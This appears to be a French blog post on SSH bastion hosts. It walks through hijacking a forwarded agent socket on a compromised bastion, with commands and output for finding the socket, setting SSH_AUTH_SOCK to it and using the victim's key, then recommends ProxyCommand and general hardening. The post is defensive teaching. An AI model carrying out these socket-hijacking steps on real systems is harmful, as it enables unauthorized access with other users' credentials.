J'ai vu la réponse à propos de ProxyJump. Parlons de ProxyCommand .
Mais attendez, attendez! Je peux vous écrire comment pirater le serveur qui utilise le transfert d'agent, ce serait beaucoup plus facile de comprendre la différence!
Hackons!
Pour les étapes de base: vous pouvez lire mon article ici
Les étapes de base sont les suivantes:
- Créer des utilisateurs de bastion
- Désactiver la connexion root
- Bloquer les tentatives de piratage
- Changer de port
- Configurer le pare-feu
- Configurer SELinux
Comment utiliser AgentForwarding
-Créer la configuration dans ~ / .ssh / config
Host bast
Hostname BASTION_IP
ForwardAgent yes
User bastion
-Ajoutez votre clé d'authentification à ssh-agent
ssh-add ~/.ssh/name_rsa
-Connectez-vous au bastion hos
ssh bast
-Connectez le serveur d'applications du bastion
ssh app@IP -p PORT
Le piratage!
Vous pouvez, bien, me poser la question:
Comment pirater les serveurs si vous avez compromis l'hôte bastion?
Suivre la cible
Dans le répertoire / tmp, vous pouvez voir quelque chose comme ça:
[root@localhost tmp]# ll
total 12
drwx------ 2 bastion bastion 4096 Sep 7 17:35 ssh-mKX88v0Vlo
Ouvrons le fichier temporaire
[root@localhost tmp]# cd ssh-mKX88v0Vlo/
[root@localhost ssh-mKX88v0Vlo]# ll
total 0
srwxr-xr-x 1 bastion bastion 0 Sep 7 17:35 agent.10507
Voyons les connexions à cet identifiant de processus.
netstat -nxp | grep 10507
résultat:
unix [ ] STREAM CONNECTED 501384 10507/sshd: bastion
et qui est connecté?
lsof -i -a -p 10507
résultat:
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
sshd 10507 bastion 3u IPv4 501301 0t0 TCP *IP*:ssh->*IP*:8279 (ESTABLISHED)
Nous pouvons également voir les fichiers socket:
cd /proc/10507/fd/
ls
résultat:
lrwx------ 1 root root 64 Sep 7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep 7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep 7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep 7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep 7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep 7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep 7 17:46 9 -> socket:[502080]
Et que se passe-t-il lorsque le client sera connecté au serveur distant? Voyons voir:
lrwx------ 1 root root 64 Sep 7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:48 11 -> socket:[502267]
lrwx------ 1 root root 64 Sep 7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep 7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep 7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep 7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep 7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep 7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep 7 17:46 9 -> socket:[502080]
Nous pouvons même voir si le fichier socket est utilisé en utilisant netstat:
unix 3 [ ] STREAM CONNECTED 502267 10561/sshd:
bastion /tmp/ssh-oVoMXC6vb8/agent.10561
unix 3 [ ] STREAM CONNECTED 502072 10561/sshd: bastion
Voler les informations de socket et l'adresse IP
Maintenant, nous devons voler les informations de socket pendant que la session de l'hôte bastion est ouverte . Oh, nous avons également besoin de l' IP du serveur de destination , alors utilisez simplement netstat:
netstat -tn
La dernière étape pour utiliser le fichier de socket transféré
eval "$(ssh-agent -s)"
SSH_AUTH_SOCK=/tmp/ssh-EAKxOdL4fl/agent.10507
Vérifiez si la clé est chargée .
ssh-add -l
le résultat devrait être quelque chose comme ça :
2048 SHA256:2Psdl..B5KQ /home/usr/.ssh/name_rsa (RSA)
Le serveur est piraté, comment résoudre le problème de sécurité?
Commande proxy
Host app
Hostname *.*.*.*
IdentityFile ~/.ssh/your_rsa
User *******
Port ****
ProxyCommand ssh -W %h:%p bast
Host bast
Hostname *.*.*.*
ForwardAgent no
User ******
Pour les opérations de base: comment transférer des fichiers via les serveurs (de client à serveur, de serveur à client), vous pouvez lire sur mon post ici
Conclusion
- Si vous utilisez l'hôte bastion, n'utilisez pas AgentForwarding mais utilisez ProxyCommand
- Toujours utiliser un utilisateur non root pour l'authentification
- Utilisez un pare-feu et bloquez toutes les connexions inutiles.
- Utilisez SELinux (en général)
- Bloquer l'adresse IP qui essaie de se connecter plusieurs fois avec des informations d'identification incorrectes
- Si ce n'est pas nécessaire, ne donnez pas l'autorisation sudo à l'utilisateur
- Surveillez votre serveur
- Mettez à jour votre serveur pour les correctifs de sécurité
Plus d'informations, voir mon blog . De plus, j'ai quelques captures d'écran, donc cela peut vous être utile.